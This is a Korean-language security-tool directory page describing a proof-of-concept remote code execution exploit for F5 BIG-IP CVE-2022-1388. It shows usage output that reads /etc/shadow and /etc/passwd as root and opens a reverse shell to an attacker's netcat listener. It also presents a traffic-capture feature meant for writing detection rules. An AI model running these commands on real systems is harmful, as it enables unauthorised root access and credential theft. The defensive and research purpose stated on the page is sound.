Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-1388 — -- FOR EDUCATIONAL USE ONLY -- Proof-of-Concept RCE for CVE-2022-1388, plus some added functionality for blue and red teams | Kitploit
도구/GitHubGitHub/vaelwolf/cve-2022-1388
Packet Sniffing & AnalysisVulnerability AnalysisExploitationWeb Application ExploitationForensicsPenetration TestingLearning & Education
GitHubvaelwolf/cve-2022-1388

CVE-2022-1388

-- FOR EDUCATIONAL USE ONLY -- Proof-of-Concept RCE for CVE-2022-1388, plus some added functionality for blue and red teams

저장소 보기
713년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-1388 RCE, 리버스 셸 및 PCAP 자동 내보내기

-- 교육용으로만 사용하세요 --

저자는 이 프로젝트/저장소의 어떤 측면과 관련하여 취해진 모든 행동에 대해 책임을 지지 않습니다. 저는 이 공격을 이해하고 SIEM 내에서 탐지 규칙을 작성하는 목적으로 이 도구를 만들었으며, 다른 사람들도 동일한 작업을 할 수 있도록 공유하고자 합니다. 사용에 따른 책임은 본인에게 있습니다.

이 익스플로잇은 F5 Systems의 BIG-IP iControl REST 취약점 CVE-2022-1388을 대상으로 합니다. 영향을 받는 버전 및 기타 정보는 F5 권고(https://support.f5.com/csp/article/K23605346)를 참조하십시오.

PR을 보내거나 문제를 보고해 주세요. 이 도구는 CentOS 시스템에서 Python 3.6을 사용하여 Google Cloud의 몇 가지 취약한 F5 VE에서 테스트되었습니다.

Usage

root@kitploit:~
CVE-2022-1388.py [-h] -t TARGET -p PORT [-c CMD] [-s] [-e] [-lh LHOST] [-lp LPORT]

optional arguments:
  -h, --help            show this help message and exit
  
  -t TARGET, --target TARGET, --RHOSTS TARGET
                        Target IP of vulnerable BIG-IP system
  -p PORT, --port PORT, --RPORT PORT
                        Target port on vulnerable BIG-IP system
  -c CMD, --cmd CMD, --command CMD
                        Command to run on target system
  -e, --export, --tcpdump
                        Export captured traffic and ssl-key.log | **Requires sudo privileges!
  -q, --quiet           Don't display banner
  -s, --shell           Launch an interactive shell
  -lh LHOST, --lhost LHOST, --LHOST LHOST
                        Required for -s [shell]; Local IP/interface to bind listener to
  -lp LPORT, --lport LPORT, --LPORT LPORT
                        Required for -s [shell]; Local port to bind listener to

원격 코드 실행

root@kitploit:~
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c id

===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
       Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
=============================================================================================================== 


uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
root@kitploit:~
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/shadow" -q
root:!!:18656:0:99999:7:::
bin:*:16479:0:99999:7:::
daemon:*:16479:0:99999:7:::
adm:*:16479:0:99999:7:::
lp:*:16479:0:99999:7:::
mail:*:16479:0:99999:7:::
uucp:*:16479:0:99999:7:::
[[ removed for brevity ]]

리버스 셸

root@kitploit:~
Attacker:
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -s -lh 10.142.0.8 -lp 4444

===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
        Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
=============================================================================================================== 


[+] If you haven't already, please start your listener of choice on port 4444
[+] Press any key to continue...

[+] Exploit finished. If you launched a reverse shell listener, check there for your terminal!
 
Listener:
$ nc -lp 4444
bash: no job control in this shell
[@localhost:Active:Standalone] restjavad # whoami
whoami
root

분석용 PCAP 내보내기

-e (--export) 플래그를 지정하면 detection.pcap과 ssl-key.log라는 두 파일이 생성됩니다. 이 파일들은 -e 플래그를 지정할 때마다 덮어쓰기되므로, 보관하려는 파일은 이동하거나 이름을 변경해야 합니다. ssl-key.log는 Wireshark에서 기본 설정 -> 프로토콜 -> TLS -> (Pre)-Master-Secret 로그 파일 이름으로 가져와 TLS 세션을 복호화할 수 있습니다. tcpdump를 사용하기 때문에 -e 사용 시 스크립트를 sudo로 실행해야 합니다.

root@kitploit:~
$ sudo python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/passwd" -q -e
[+] Starting tcpdump on port 8443 for 5 seconds

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[[ removed for brevity ]]

TLS 복호화 전:

Wireshark 01

Wireshark의 TLS 기본 설정에 자동으로 내보낸 ssl-key.log 추가:

Wireshark Preferences

TLS 복호화 후:

Wireshark 02 Wireshark 03
도구 다운로드